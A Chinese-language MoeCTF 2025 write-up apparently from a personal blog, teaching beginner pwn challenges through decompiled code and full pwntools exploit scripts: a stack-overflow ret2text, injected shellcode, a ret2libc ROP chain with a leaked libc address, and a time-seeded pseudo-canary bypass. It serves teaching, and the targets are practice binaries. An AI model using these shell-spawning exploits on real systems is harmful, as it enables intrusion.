本文最后更新于 2026年3月29日 晚上
题目来源:Moectf2025
温馨提示:确保有安装了至少一套Python的操作系统再来哦
由于此类题目需要启动在线环境,所以不提供题目附件,需要请移步比赛平台哦
点我传送🖐️
0 二进制漏洞审计入门指北 这是一道入门题,我们可以通过这道题来初步了解pwn的流程。
在解题之前,拥有一个pwn解题环境至关重要。题目附件的pdf中提供了相当全面的环境搭建建议,但对初学者而言难度较高,推荐边做边学。
先尝试连接题目环境,正常来说用Linux环境是最好的,但由于题目使用WebSocket Reflector X(WSRX)连接,所以这里使用Windows环境进行演示。当然用WSL虚拟机什么的也是能连接的,只不过用Windows环境最简单。
首先启动WSRX,来到题目平台启动在线环境,确保WSRX已连接。
具体连接方式请阅读https://ctf.xidian.edu.cn/wiki/18 。
记下出现的本地地址。比如127.0.0.1:11965。
打开Windows PowerShell。输入
没有pip?先输入这个👇
1 python -m ensurepip --upgrade
然后你还需要一个nmap:
https://nmap.org/download.html
安装时确保勾选了 Ncat 组件。
不知道有没有的话,用以下命令确认
1 2 ncat --version pwn version
如果都输出了版本号,就说明安装成功了。
万事俱备后,确保powershell在正确的目录生效:
然后输入
你会看到这样的输出
那一堆看着像中文的乱码应该是某类字符画(感觉是附件里的水箭龟)由于编码冲突而产生的,不影响解题,当不存在就好。
看到
Guess who am i!
Before u answer me,solve some bypass function!
First,you need to tell me the password.
这几条,就说明成功连接上题目了。
但是目前我们不知道password,这时候就要用到IDA了
IDA pro以及free版获取地址
富哥富姐们请无脑购买IDA pro,正版授权,功能强大,买不了吃亏买不了后悔。当然一般的pwn题目免费申请一个IDA Free也是够用的。
在IDA打开pwn文件。按F5就可以看到程序反编译后的伪代码,这样我们就可以读懂破解逻辑
反编译在pwn和reverse都相当常用
在下面这个位置可以看到在打印出”First,you need to tell me the password.”这句之后,程序在等待用户输入一个整数并与全局变量 passwd 比较。
1 2 3 4 5 6 7 puts ("First,you need to tell me the password." ); __isoc99_scanf("%d" , &v4); if ( v4 != passwd ) { puts ("Maybe you should recall what the password is!" ); exit (1 ); }
双击passwd变量,会自动定位到这一行
1 .data:0000000000004010 passwd dd 1B F4Fh ; DATA XREF: main+CA↑r
所以passwd的值是1BF4Fh,也就是十六进制 0x1BF4F ,转换为十进制是 114511。
然后是这里
1 2 3 4 read(0 , buf, 0x64u ); if ( !(unsigned int )bypass(buf) ) { backdoor(); }
read函数读入了0x64个,也就是100个字节到buf,然后调用了bypass函数。如果bypass(buf)返回0,也就是if(!0)时,才会触发backdoor()。
双击bypass看看怎么个事
1 2 3 4 5 6 7 8 9 __int64 __fastcall bypass (__int64 a1) { if ( !a1 ) return 0 ; if ( *(_DWORD *)a1 == -559038737 && !strcmp ((const char *)(a1 + 4 ), "shuijiangui" ) ) return 0 ; puts ("Something wrong." ); return 1 ; }
可以看到有两种情况可以返回0:
第一种:a1为空的时候。a1是输入缓冲区的起始地址,也是一个指针,在实际操作中,传入payload一定会被读入一个真实的内存地址,因此无论如何a1都不可能等于0 ,这条路走不通。
第二种:需要同时满足两个条件。
第一是*(_DWORD \)a1 == -559038737,这里的 *(_DWORD*)a1 意思是从缓冲区起始地址 a1 开始,往后连续抓取4个字节的内存数据(_DWORD 代表 Double Word,通常占4个字节)。也就是说要让引入的payload的前四字节为-559038737,换算成十六进制是0xDEADBEEF ;
第二个条件是!strcmp((const char *)(a1 + 4), "shuijiangui",这个有点C语言基础就能看懂,意思是需要让payload从第五字节开始等于字符串shuijiangui 。
至于随后触发的backdoor,看名字就知道这就是获得隐藏信息的地方。
至此我们已经摸透了题目逻辑,结合反编译代码的结构,我们便能写出攻击脚本,保存为exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *import time context(arch='amd64' , os='linux' , log_level='debug' ) p = remote('127.0.0.1' , 11965 ) p.recvuntil(b"tell me the password." ) p.sendline(b'114511' ) time.sleep(0.5 ) payload = p32(0xdeadbeef ) + b'shuijiangui\x00' p.send(payload) p.interactive()
之后在当前目录运行这个脚本。
可以看到出现了一堆DEBUG开头东西,那是pwntools框架执行产生的日志,不用管,直接翻到最下方就能找到flag。
跟题目中提供的初始攻击脚本进行对比:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(arch='amd64' , os='linux' , log_level='debug' ) io = connect(???, ???) io.sendline(b'114511' ) payload = p32(0xdeadbeef ) payload += b'shuijiangui' io.sendafter(b'password.' , payload) io.interactive()
回答里面的问题:
sendline:会在发送的内容末尾自动加上一个换行符 \n。适用于程序使用 scanf 或 gets 等以换行符作为结束标志来读取数据的情况(如本题的第一关密码输入)。
send:只发送原始字节,不附加任何字符。适用于程序使用 read(0, buf, size) 按字节长度读取的情况。在构造 Payload 绕过 bypass 函数时,使用 send 或 sendafter 更安全,因为多出的换行符可能会破坏精心构造的内存布局。
p32(0xdeadbeef):这是 Pwntools 的函数,它会将整数转换为对应的 4 字节原始字节流,并自动处理小端序(结果为 \xef\xbe\xad\xde)。这是本题最正确的写法。
b”\xde\xad\xbe\xef”:这是 Python 的原始字节串表示法,虽然是字节形式,但它的顺序是大端序。除非目标机器是大端序,否则无法通过 *(_DWORD *)a1 == -559038737 的检查。
b”deadbeef”:这是个字符串,在内存中代表的是字符的 ASCII 码,跟 -559038737 完全不搭边。
moectf{tH3_B3gINnING-Of-FORMaT2493f9f50}
1 ez_u64 依旧是一个pwn文件,先IDA反编译一下,得到
1 2 3 4 5 6 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); vuln(); return 0 ; }
只能看到一个vuln(),双击它看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned __int64 vuln () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("Ya hello! Let's play a game." ); printf ("Guess which number I'm thinking of." ); printf ("Here is the hint." ); write(1 , &num, 8u ); printf ("\n>" ); __isoc99_scanf("%zu" , &v1); if ( v1 != num ) { puts ("Wrong answer!" ); puts ("Try pwntools u64?" ); exit (1 ); } puts ("Win!" ); system("/bin/sh" ); return v2 - __readfsqword(0x28u ); }
观察
这是利用write函数在内存里抓取了全局变量num的8个字节的原始数据并输出为字节流,我们首先需要接收这个字节流。
1 2 3 4 5 6 7 __isoc99_scanf("%zu" , &v1); if ( v1 != num ) { puts ("Wrong answer!" ); puts ("Try pwntools u64?" ); exit (1 ); }
scanf函数等待的输入类型是%zu,意思是要你输入一串数字,它会转化成一个size_t大小的无符号整数储存到内存变量v1。至于size_t是多大,由于现在使用的是64位系统,所以占8个字节。
随后会进行一次判断看是否和num相等,如果相等,会执行system("/bin/sh"),也就是会给你一个系统的控制权,这样我们就破解了这个程序,从而对它为所欲为。
由于num的数据已经发送给我们了,只需要转换为数字形式发回去就可以。这时候就要用到pwntools里的u64,它可以将接收到的 8 字节原始数据转换回整数。这样做不仅方便,也避免了因为发送的原始数据是不可见字符导致无法识别的可能。
好的,已经看穿了套路,是时候编写攻击脚本了!🧨
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context(arch='amd64' , os='linux' , log_level='debug' ) p = remote('127.0.0.1' , 11965 ) p.recvuntil(b"Here is the hint." ) leak_data = p.recvn(8 ) target_num = u64(leak_data) p.sendlineafter(b">" ,str (target_num).encode()) p.interactive()
保存为exp.py,扔进题目文件夹中,直接启动
看到Win!就说明成功了,现在我们临时拥有了管理员权限,用ls查看当前目录下的文件
找到名为flag的文件,用cat flag读取它
moectf{u53ful-TH1ng5-IN-pWNTOOls31911f3e}
1 find it 拿到附件后IDA反编译,得到如下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __fastcall main (int argc, const char **argv, const char **envp) { int v3; char file[40 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); init(argc, argv, envp); v3 = dup(1 ); write(v3, "I've hidden the fd of stdout. Can you find it?\n" , 0x2Fu ); close(1 ); __isoc99_scanf("%d" , &fd1); write(fd1, "You are right.What would you like to see?\n" , 0x2Au ); __isoc99_scanf("%s%*c" , file); open(file, 0 ); write(fd1, "What is its fd?\n" , 0x10u ); __isoc99_scanf("%d" , &fd2); read(fd2, &buf, 0x50u ); write(fd1, &buf, 0x50u ); return 0 ; }
题目描述告诉我们跟fd有关。fd就是Linux的文件描述符,相当于给文件编号,每运行一个程序时,默认已经分配了0,1,2三个fd:
0,STDIN (标准输入),默认指向你的键盘。
1,STDOUT (标准输出),默认指向你的屏幕。
2,STDERR (标准错误),默认也指向你的屏幕,专门用来报错。
由于Linux有 **“一切皆文件”**的哲学,所以输入输出这种抽象的东西也被当作文件处理。
当新打开一个文件或着手动分配一个fd时,会优先从最小的正整数开始分配。
本题中,首先执行了v3 = dup(1)。dup函数的作用是让程序分配一个fd指向跟dup函数变量值对应的fd指向相同的位置,这里是要指向1所指的位置,也就是屏幕,由于0,1,2已被占用,所以下一个分配的数字是3。将变量v3赋值为3。
依次审计关键部分
1 2 3 write(v3, "I've hidden the fd of stdout. Can you find it?\n" , 0x2Fu ); close(1 ); __isoc99_scanf("%d" , &fd1);
write函数利用新分配的fd,也就是v3让屏幕显示出了一段话,问你能不能找到控制输出的fd,并关闭了原有的fd1,等待输入一个整数,这里需要输入一个fd的编号。既然1没了,那就剩下刚刚分配的3了。
1 2 write(fd1, "You are right.What would you like to see?\n" , 0x2Au ); __isoc99_scanf("%s%*c" , file);
问你想要看什么,要输入一个被赋给file的字符串,程序会将它识别为文件名。我们是来找flag的,所以理所当然要输入“flag”这串字符。
1 2 3 open(file, 0 ); write(fd1, "What is its fd?\n" , 0x10u ); __isoc99_scanf("%d" , &fd2);
程序打开了我们想看的文件,它还怪好的呢。注意这时候程序会分配新的fd给这个文件,而刚才1被关闭了,现在是空闲状态,所以此时这个新打开的文件的fd是1。问我们这个文件的fd,所以回答1。
由是编写脚本exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context(arch='amd64' , os='linux' , log_level='debug' ) p = remote('127.0.0.1' ,实际端口) p.sendline(b"3" ) p.sendline(b"flag" ) p.sendline(b"1" ) p.interactive()
运行,轻松拿下
知道解题流程后用ncat连接手动交互也可以哦
moectf{fINd_TH3_h1Dd3N_Fdf0326763dc}
2 EZtext 盐都不盐了直接就是个pwn,连解压环节都省了
那就反编译看看解题过程省不省叭
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v4; init(argc, argv, envp); puts ("Stack overflow is a powerful art!" ); puts ("In this MoeCTF,I will show you the charm of PWN!" ); puts ("You need to understand the structure of the stack first." ); puts ("Then how many bytes do you need to overflow the stack?" ); __isoc99_scanf("%d" , &v4); overflow(v4); return 0 ; }
栈溢出吗有点意思,继续查看overflow函数:
1 2 3 4 5 6 7 8 9 int __fastcall overflow (int a1) { _BYTE buf[8 ]; if ( a1 <= 7 ) return puts ("Come on, you can't even fill up this array?" ); read(0 , buf, a1); return puts ("OK,I receive your byte.and then?" ); }
栈溢出的原理很简单,假设栈上分配了一个固定大小的缓冲区,而程序没有限制用户输入数据的大小,或者使用了像 gets、scanf(“%s”)、read() 等不检查缓冲区大小的函数,就可能导致溢出。
在overflow函数中我们能看到缓冲区buf大小是8字节,并使用了read函数等待用户输入a1的值。而我们输入数据的大小是不受限制的,多出来的部分就会溢出,覆盖掉buf后面的内存区域。
想知道buf后的内存区域是哪里,我们首先得了解栈的基础结构。一般来说在64位的Linux程序中运行的函数中,从低地址到高地址分别是
局部变量 :函数内部定义的局部变量,比如buf[8]。
保存的rbp(旧的栈帧指针) :为栈的恢复和函数返回提供支持。
函数返回地址 :函数执行完后,程序跳回的地方,也是栈溢出需要覆盖的位置。
上述三个部分的大小都是8字节。由于只有覆盖到函数返回地址后的数据才有效,前16个字节只要填满就可以,方便起见就直接写入16个a。
至于16个a后该怎么填,我们需要思考我们要从栈溢出中获得什么。那当然是flag当然是程序的控制权,拿到后就能轻松获得flag。
要想拥有这无与伦比的力量,只需要执行system(“/bin/sh”)这个“后门”函数。让我们搜寻一下:
按下Shift + F12,IDA会显示出一个Strings窗口列出所有检索到的字符串,无需进一步查找,直接就能看到我们想要的/bin/sh
双击进去就能看到这一行
1 .rodata :000000000040202D command db '/bin/sh ',0 ; DATA XREF: treasure+17↑o
这段代码非常关键:
.rodata:000000000040202D表示字符串存储的位置,也就是0x40202D。command是地址名。
db '/bin/sh',0 表示在该地址下写入/bin/sh。
; DATA XREF: treasure+17↑o告诉我们有个叫做treasure的函数,在它起始地址往后偏移 17 个字节的地方引用了/bin/sh。
双击treasure看是如何引用的
这里就知道了treasure函数的地址是4011B6。再看内部细节:
1 2 3 lea rax , command mov rdi , rax call _system
这就是system("/bin/sh")。
所以覆盖返回地址的部分应该是treasure的地址,这样程序执行到 overflow 函数的结尾时,它会跳到 treasure() 函数,进而执行 system(“/bin/sh”)。
构造payload时要用p64()发送地址。写出攻击脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * p = process('./pwn' ) ret = 0x40101a treasure = 0x4011B6 payload = b'a' *16 + p64(ret) + p64(treasure) p.sendline(b'32' ) p.send(payload) p.interactive()
注意我们的payload多出了p64(ret),这是初学者必踩的一个坑:栈对齐。
对64位Linux来说,调用函数前rsp(栈指针)必须16字节对齐。本题中我们是通过栈溢出跳进treasure()的,这时rsp很可能没对齐。
像system("/bin/sh")这样的指令必须满足rsp对齐到16字节边界,否则就可能崩溃。
应对方式就是插入一个ret指令,而这需要我们先获取这道题目中ret gadget的地址。
用这个指令列出所有的 gadget:
1 ROPgadget --binary ./pwn
找到最朴实无华的这一项,0x40101a就是可用的gadget。在执行treasure之前要先插入ret。
1 0x000000000040101a : ret
从这题开始就使用WSL连接题目了,毕竟很多题目就是通过Linux搭建起来的程序,很多工具也是以Linux为原生环境。
更主要的原因是主播终于搞明白连接方式了
相比直接用127.0.0.1的本地地址,使用WSL连接之前你需要先复制Websocket链接到wsrx的首页(从这开始)。就复制到那个写着[ws|wss]://address...的地方,然后保险起见把上面的127.0.0.1更换成0.0.0.0,点击小纸飞机,之后你就会在默认连接池里看到一个新的端口,记下它。
在编写攻击脚本时,需要做一点小小的改动:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import subprocessfrom pwn import *try : host_ip = subprocess.check_output("ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip() if not host_ip: raise ValueError("Failed to obtain a valid IP address." )except Exception as e: print (f"Error obtaining IP: {e} " ) exit(1 ) PORT = 目标端口 print (f"[*] Connecting to Windows Host at {host_ip} :{PORT} " )try : p = remote(host_ip, PORT) print ("[*] Connected successfully!" )except Exception as e: print (f"[*] Connection failed: {e} " ) exit(1 )
实际运行时,只需要把目标端口改成刚刚记下的新端口就可以了。
本题的完整攻击脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import subprocessfrom pwn import *try : host_ip = subprocess.check_output("ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip() if not host_ip: raise ValueError("Failed to obtain a valid IP address." )except Exception as e: print (f"Error obtaining IP: {e} " ) exit(1 ) PORT = 59784 print (f"[*] Connecting to Windows Host at {host_ip} :{PORT} " )try : p = remote(host_ip, PORT) print ("[*] Connected successfully!" )except Exception as e: print (f"[*] Connection failed: {e} " ) exit(1 ) ret = 0x40101a treasure = 0x4011B6 payload = b'a' * 16 + p64(ret) + p64(treasure) p.sendline(b'32' ) p.send(payload) p.interactive()
至是,工程已毕!🎉🎉
打开WSL运行脚本拿下shell,然后ls加cat一套小连招拿下flag
moectf{ReT2T3xt-1s-TH3-5t4rt_0F_rop77004a}
2 ezshellcode IDA反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 int __fastcall main (int argc, const char **argv, const char **envp) { int v4; int prot; int v6; int v7; void *s; unsigned __int64 v9; v9 = __readfsqword(0x28u ); init(argc, argv, envp); s = mmap(0 , 0x1000u , 3 , 34 , -1 , 0 ); if ( s == (void *)-1LL ) { perror("mmap" ); return 1 ; } memset (s, 0 , 0x1000u ); v6 = 0 ; prot = 0 ; puts ("In a ret2text exploit, we can use code in the .text segment." ); puts ("But now, there is no 'system' function available there." ); puts ("How can you get the flag now? Perhaps you should use shellcode." ); puts ("But what is shellcode? What can you do with it? And how can you use it?" ); puts ("I will give you some choices. Choose wisely!" ); __isoc99_scanf("%d" , &v4); do v7 = getchar(); while ( v7 != 10 && v7 != -1 ); if ( v4 == 4 ) { if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 7 ; v6 = 1 ; } else { if ( v4 > 4 ) goto LABEL_24; switch ( v4 ) { case 3 : if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 4 ; v6 = 1 ; break ; case 1 : if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 1 ; v6 = 1 ; break ; case 2 : if ( v6 == 1 ) puts ("You can only make one change!" ); prot = 3 ; v6 = 1 ; break ; default : LABEL_24: puts ("Invalid choice. The space remains in its chaotic state." ); exit (1 ); } } if ( mprotect(s, 0x1000u , prot) == -1 ) { perror("mprotect" ); exit (1 ); } puts ("\nYou have now changed the permissions of the shellcode area." ); puts ("If you can't input your shellcode, think about the permissions you just set." ); read(0 , s, 0x1000u ); ((void (*)(void ))s)(); return 0 ; }
两眼一黑,反编译代码怎么搞这么长。😵仔细观察文本提示,似乎要我们更改shellcode区域的权限并加以利用。
仔细审计可知,我们要先输入一个整数v4,这个整数对应了mprotect函数可更改的shellcode权限。当输入的v4分别为1、2、3、4时对应的prot为1、3、4、7,分别代表shellcode区域的只允许写、允许读写、允许读与执行、允许读写与执行四种权限。prot数与权限的对应关系基于mprotect函数的标准用法。
那肯定是权限越多越好,所以第一步输入4,这样使得内存区域可以执行 shellcode。
成功更改后就能看见下一步提示
1 2 puts ("\nYou have now changed the permissions of the shellcode area." );puts ("If you can't input your shellcode, think about the permissions you just set." );
紧接着是读入函数read,我们需要生成并执行shellcode。这时候要用到pwntools中的shellcraft。
说到底我们pwn的题目基本都是以拿到shell为最终目标的。shellcraft的作用就是生成常见的 shellcode,比如执行 shell、打开文件、执行命令等。
使用这行代码生成一个执行 /bin/sh 的 shellcode
1 shellcode = asm(shellcraft.sh())
发送shellcode后就可以拿到shell。话不多说直接开干,编写exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import subprocessfrom pwn import *try : host_ip = subprocess.check_output("ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip() if not host_ip: raise ValueError("Failed to obtain a valid IP address." )except Exception as e: print (f"Error obtaining IP: {e} " ) exit(1 ) PORT = 你的目标端口 print (f"[*] Connecting to Windows Host at {host_ip} :{PORT} " )try : p = remote(host_ip, PORT) print ("[*] Connected successfully!" )except Exception as e: print (f"[*] Connection failed: {e} " ) exit(1 ) p.sendline(b'4' ) context.arch = 'amd64' context.os = 'linux' shellcode = asm(shellcraft.sh()) p.send(shellcode) p.interactive()
运行,然后ls+cat拿下flag
moectf{POwErfUL_sH3l1CoDe_C@n_DO_@nYThlNGdfc36}
3 认识libc 附件除了pwn文件外还提供了一个libc.so.6。根据题目描述,这道题没有后门,需要对二进制文件进行petchelf,再结合libc找到答案。
libc这个名词看着唬人,实际上就是Linux的C标准库。libc.so.6是它的一个文件名。
我们用C语言编写程序时,所使用的已定义函数如printf、malloc等,并不是操作系统自带的,而是从libc中加载。当程序本身没有后门可循时,就可以在libc中找到我们想要的system函数并执行。
petchelf呢是个可以修改ELF文件元信息的工具,所以能够修改程序使用的libc。ELF就相当于exe,是Linux环境下程序的文件格式。petchelf不是pwntools的一部分,所以开干之前得先安装一下。
1 2 sudo apt update sudo apt install patchelf
按照标准解题流程,首先用checksec扫一遍看看保护机制
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
无canary + 无PIE + Partial RELRO + 有 NX,妥妥一标准ret2libc环境,也就是不自己写 shellcode,而是返回到libc里的函数执行的一类最经典的ROP利用方式的练习环境。大致解题流程是栈溢出 + 泄露 libc + 调用 system(“/bin/sh”)。
开IDA反编译看看具体怎么操作
1 2 3 4 5 6 7 8 9 int __fastcall main (int argc, const char **argv, const char **envp) { setup(argc, argv, envp); puts ("The Oracle speaks..." ); puts ("There is no system function in the .text segment." ); printf ("A gift of forbidden knowledge, the location of 'printf': %p\n" , &printf ); vuln(); return 0 ; }
可以看到启动程序后会提供我们一个printf的地址,这有什么用?用处大了。
在现代Linux环境中,libc的地址并不是固定的。既然我们要调用libc中的system,如果不清楚libc的位置,那就更谈不上里面的system了。
好消息是printf也是libc中的一个函数,而且在特定版本的libc文件中printf函数的偏移是固定的,已知实际地址和偏移量求原地址,简单的数学😎。这个“原地址”就是libc的基址。有了基址再根据特定函数的偏移,就能计算出所需函数的实际位置。
本题中提供给我们libc.so.6这个库,虽然没告诉具体是哪一个版本,但库给到手里就是确定的了,pwntools会帮我们解析它并找出正确的偏移。
只需要这样一行
1 libc = ELF('./libc.so.6' )
然后libc.symbols(函数名)就可以返回对应函数的偏移。
双击vuln继续分析
1 2 3 4 5 6 7 8 ssize_t vuln () { _BYTE buf[64 ]; puts ("\nNow, show me what you can do with this knowledge:" ); printf ("> " ); return read(0 , buf, 0x100u ); }
看到read函数想到栈溢出。有了2 EZtext的经验,我们知道要先填入64+8=72个字节,从第73字节开始覆盖返回地址。
这次原程序里是没有system了,所以在返回地址的位置需要想个办法跟libc中的system联系起来。方法也简单,只需要pop rdi;ret。
使用这条指令获取一个可以控制rdi寄存器的gadget。rdi对应的是函数调用的第一个参数,换句话说,rdi = “/bin/sh”
1 ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
获取的三条结果中,这一条是我们需要的
1 0x000000000002a3e5 : pop rdi
另外还需要考虑栈对齐,得找一个ret gadget的地址。运行下面这条指令来筛选,不要用ROPgadget --binary libc.so.6 | grep " ret$",会因为输出结果太多而无法完整显示。
1 ROPgadget --binary libc.so.6 | grep ": ret"
看第一条结果
1 0 x0000000000029139 : ret
0x29139是一个可用的值。
现在就可以超级拼装了。在开头部分先搞两条标准exploit模板:
1 2 elf = ELF('./pwn' ) libc = ELF('./libc.so.6' )
本题中elf这一条并没有发挥作用,但是写上是好习惯。
payload如下:
1 2 3 4 5 6 7 payload = flat( b'A' * offset, p64(ret), p64(pop_rdi), p64(bin_sh_addr), p64(system_addr) )
实现在脚本中计算并取用各个部分,就得到了最后的攻击脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import subprocessfrom pwn import *try : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip() if not host_ip: raise ValueError("Failed to obtain a valid IP address." )except Exception as e: print (f"Error obtaining IP: {e} " ) exit(1 ) PORT = 22038 print (f"[*] Connecting to Windows Host at {host_ip} :{PORT} " )try : p = remote(host_ip, PORT) print ("[*] Connected successfully!" )except Exception as e: print (f"[*] Connection failed: {e} " ) exit(1 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) p.recvuntil(b"location of 'printf': " ) printf_addr = int (p.recvline().strip(), 16 ) log.success(f"Leaked printf address: {hex (printf_addr)} " ) libc.address = printf_addr - libc.symbols['printf' ] log.success(f"Libc base: {hex (libc.address)} " ) system_addr = libc.symbols['system' ] bin_sh_addr = next (libc.search(b"/bin/sh\x00" )) pop_rdi = libc.address + 0x2a3e5 ret = libc.address + 0x29139 log.success(f"system: {hex (system_addr)} " ) log.success(f"/bin/sh: {hex (bin_sh_addr)} " ) log.success(f"pop rdi: {hex (pop_rdi)} " ) offset = 72 payload = flat( b'A' * offset, p64(ret), p64(pop_rdi), p64(bin_sh_addr), p64(system_addr) ) p.sendlineafter(b'> ' , payload) p.interactive()
log.success日志函数的使用能让输出更清晰。另外,/bin/sh是字符串常量,不能直接symbols,要用search来筛。next用来确保使用第一个结果。运行脚本就拿到shell了,然后ls+cat得到flag
moectf{YOU_jUsT_hAV3-1Ibc-n0wa83ea88c9}
boom 题目描述
你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?
好,canary是啥?
简而言之,它是一种栈保护机制,用来检测栈溢出。详细知识可以参见这篇文章。
点我去看看
canary的开启使得我们不能直接ret2libc,需要想办法绕过它。
拿checksec扫一下二进制文件,发现了矛盾之处
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
No canary found,说明这里压根就没有栈canary。题目又说“一个不可泄露的canary”,那么这时我们应该敏锐地意识到,这个canary可能不是严格意义上的。
获知真相的办法就是老老实实反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __fastcall main (int argc, const char **argv, const char **envp) { char s[124 ]; int v5; int v6; init(argc, argv, envp); puts ("Welcome to Secret Message Book!" ); puts ("Do you want to brute-force this system? (y/n)" ); fgets(&brute_choice, 8 , stdin ); v6 = 0 ; if ( brute_choice == 121 || brute_choice == 89 ) { v6 = 1 ; canary = (int )random() % 114514 ; v5 = canary; puts ("waiting..." ); sleep(1u ); puts ("boom!" ); puts ("Brute-force mode enabled! Security on." ); } else { puts ("Normal mode. No overflow allowed." ); } printf ("Enter your message: " ); if ( v6 ) gets(s); else fgets(s, 128 , stdin ); if ( v6 && v5 != canary ) { puts ("Security check failed!" ); exit (1 ); } puts ("Message received." ); return 0 ; }
看到这一行
1 canary = (int )random() % 114514 ;
这下破案了,这根本就是程序自己写的一个普通整数变量。程序在末尾部分用这个变量做了个简单的判断,这顶多算个逻辑检查,不是严格的canary。
那就先照标准流程来。
首先程序抛给我们一个问题,问要不要开启爆破模式,想都不用想肯定选y。程序还比较人性化,输入大写小写都可以:(121,89分别是Y,y的ASCII码)
成功选择后会看到几句提示语,然后程序用if做了两个判断。先看第一个
1 2 3 4 if ( v6 ) gets(s);else fgets(s, 128 , stdin );
根据前文可知,如果输入了y,那么v6就是1。此时就执行gets,读入用户输入的一串任意数据且不做长度检查,妥妥的漏洞所在。
反之就执行fgets,严格限制读入长度在127字节以内。
第二个判断才是本题的核心:
1 2 3 4 5 if ( v6 && v5 != canary ) { puts ("Security check failed!" ); exit (1 ); }
这需要我们启动爆破模式后,v5的值仍等于canary变量,否则程序退出。之前canary已经赋值给了v5,两者值相等。canary作为全局变量肯定不变,那么什么情况下v5会变,这判断到底防了个什么?
存在即合理。gets作为经典漏洞函数,我们不是得用栈溢出来get shell吗?如果正常执行ROP,v5的值就会被覆盖。此时程序检查到v5不等于canary,直接就退了,payload胎死腹中,连执行的机会都没有。
所以我们要做到的就是,如何在不改变v5的情况下进行栈溢出。
很遗憾,如果我们的最终目的是控制返回地址,那么v5的覆盖一定发生,无法避免。
不过好消息是,v5虽然一定被覆盖,但覆盖成什么值是可控的。反正只要过检查这一关就行,那我完全可以在栈溢出这一步直接将v5的值定好。具体点说,就是用v5原来的值覆盖v5。
但这里就有一个问题。v5原先的值就是canary,而canary由random生成,每次的值可能是不固定的。这一点可以用gdb来验证,进入pwn文件目录,逐条运行以下命令:
1 2 3 4 5 6 7 8 9 gdb ./pwn b gets run y p (int)canary
会得到一个canary值。关闭gdb重新运行一次,可以发现canary的值改变了。这就有点麻烦,不过依旧可预测。因为random()是个伪随机函数,它所谓的“随机”依赖于种子。本题中,random只调用了一次,既然表面上看不到种子,它一定藏在了之前的某个函数里。观察可知,这个函数只能是init。
双击init
1 2 3 4 5 6 7 8 9 10 void init () { unsigned int v0; setbuf(stdout , 0 ); setbuf(stdin , 0 ); setbuf(stderr , 0 ); v0 = time(0 ); srandom(v0); }
其中
1 2 v0 = time(0 ) srandom(v0)
这就是我们要找的种子。最难的部分已经解决,剩下的正常栈溢出就行了。
1 2 3 char s[124 ]; int v5; int v6;
从以上代码段可知,本题中s占124字节,然后是v5,v6,保存的rbp和返回地址。这其中:
s用124个a填充就行; v5单独说; v5(rbp-14h)到返回地址(rbp+8h)的距离是0x14+0x8,减去v5自身占据的0x4(v5是int),就是0x18,用24字节填充; 返回地址部分,这里也有说法。在IDA其实可以看到这个程序是有“后门”的,具体查询方法在 2 EZtext 。你会看到
注意,这里的0x401276是函数入口没错,但我们为了调用“后门”不能直接用这个地址。如果从这里开始,会优先执行
这会直接压入一个不可控的栈帧,导致我们的payload崩溃。既然如此,应该绕过它,从mov rbp, rsp开始才对。这一步对应的地址是0x40127b,因为中间隔了1+3共4个字节。
1 2 3 4 401276 : endbr64 (4 字节) 40127a: push rbp (1 字节) 40127b: mov rbp ,rsp (3 字节)
至于v5,必须在服务端启动时就srandom(time(0))确定种子,这样能最大限度削减时间误差。再借libc调用random就能算出canary,完成对v5的覆盖。
终于在不断的测试和修改后,我得到了这个可用脚本
